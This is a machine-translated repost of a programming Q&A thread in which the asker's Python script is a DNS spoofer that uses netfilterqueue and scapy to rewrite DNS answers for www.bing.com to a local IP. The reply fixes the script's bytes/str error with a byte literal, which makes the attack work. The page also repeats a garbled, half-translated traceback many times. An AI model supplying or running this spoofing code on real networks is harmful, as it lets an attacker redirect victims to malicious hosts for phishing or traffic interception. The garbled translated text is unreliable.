简体   繁体   English

使用 Python 3 A byte-like object is required not a str" 我尝试将其转换为字节,但它仍然给我同样的错误

[英]using Python 3 A byte-like object is required not a str" i have tried converting it into bytes but it still giving me the same error

import netfilterqueue import scapy.all as scapy导入 netfilterqueue 导入 scapy.all 作为 scapy

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        website = 'www.bing.com'

        if website in qname:
            print("[+] Spoofing ")
            answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.12")
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1

            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].len
            del scapy_packet[scapy.UDP].chksum

            packet.set_payload(str(scapy_packet))
    packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilter异常被忽略:'netfilterqueue.global_callback' Traceback(最近一次调用最后):文件“dns_spoofer.py”,第 9 行,在 process_packet 如果网站在 qname:TypeError:a bytes-like object is required, not 'str' 忽略异常在:'netfilterqueue.global_callback' Traceback(最近一次调用最后):文件“dns_spoofer.py”,第 9 行,在 process_packet 中如果网站在 qname:TypeError:需要类似字节的 object,而不是 'str' 异常忽略: 'netfilterqueue.global_callback' Traceback(最近一次调用最后一次):文件“dns_spoofer.py”,第 9 行,在 process_packet 如果网站在 qname:TypeError:需要类似字节的 object,而不是 'str' 异常忽略:'netfilterqueue .global_callback' Traceback(最近一次调用最后一次):文件“dns_spoofer.py”,第 9 行,在 process_packet 如果网站在 qname:TypeError:a bytes-like object is required,not 'str' Exception被忽略在:'netfilter queue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' ^CTraceback (most recent call last): File "dns_spoofer.py", line queue.global_callback' Traceback(最近一次调用最后一次):文件“dns_spoofer.py”,第 9 行,在 process_packet 中如果网站在 qname:TypeError:a bytes-like object is required, not 'str' 在:'netfilterqueue. global_callback' Traceback(最近一次调用最后一次):文件“dns_spoofer.py”,第 9 行,在 process_packet 如果网站在 qname:TypeError:a bytes-like object is required, not 'str' 异常被忽略:'netfilterqueue.global_callback'回溯(最后一次调用):文件“dns_spoofer.py”,第 9 行,如果网站在 qname 中,则在 process_packet 中:TypeError:需要类似字节的 object,而不是 'str' 异常被忽略:'netfilterqueue.global_callback' Traceback(最近一次通话):文件“dns_spoofer.py”,第 9 行,在 process_packet 中如果网站在 qname:TypeError:需要类似字节的 object,而不是“str”^CTraceback(最近一次通话):文件“dns_spoofer. py", 行 25, in queue.run() KeyboardInterrupt 25、queue.run()中的KeyboardInterrupt

Try website = b'www.bing.com' .尝试website = b'www.bing.com' The b makes it a byte literal. b使其成为字节文字。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

相关问题 typeError:需要一个类似字节的对象,而不是 Python 3 中的“str” - typeError: a byte-like object is required, not 'str' in Python 3 类型错误:需要类似字节的 object,而不是“str” - TypeError : a byte-like object is required , not 'str' Python 3 移植问题,说需要一个类似字节的对象? - Python 3 porting issue, says a byte-like object is required? 将字符串放在 python 中的字节状 object - Put string on byte-like object in python python错误TypeError:需要一个类似字节的对象,而不是'str' - python error TypeError: a bytes-like object is required,not 'str' Python SocketServer 错误:TypeError:需要类似字节的对象,而不是“str” - Python SocketServer Error : TypeError: a bytes-like object is required, not 'str' 错误:需要一个类似字节的对象,而不是“ str”(cPickle,Python) - Error: a bytes-like object is required, not 'str' (cPickle, Python) 需要类似 object 的字节,而不是 python 中的“str”错误 - a bytes-like object is required, not 'str' error in python Python错误:TypeError:需要一个类似字节的对象,而不是'str' - Python error: TypeError: a bytes-like object is required, not 'str' “需要类似字节的 object,而不是 str” Python 中的错误 - “A bytes-like object is required, not str” Error in Python
 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM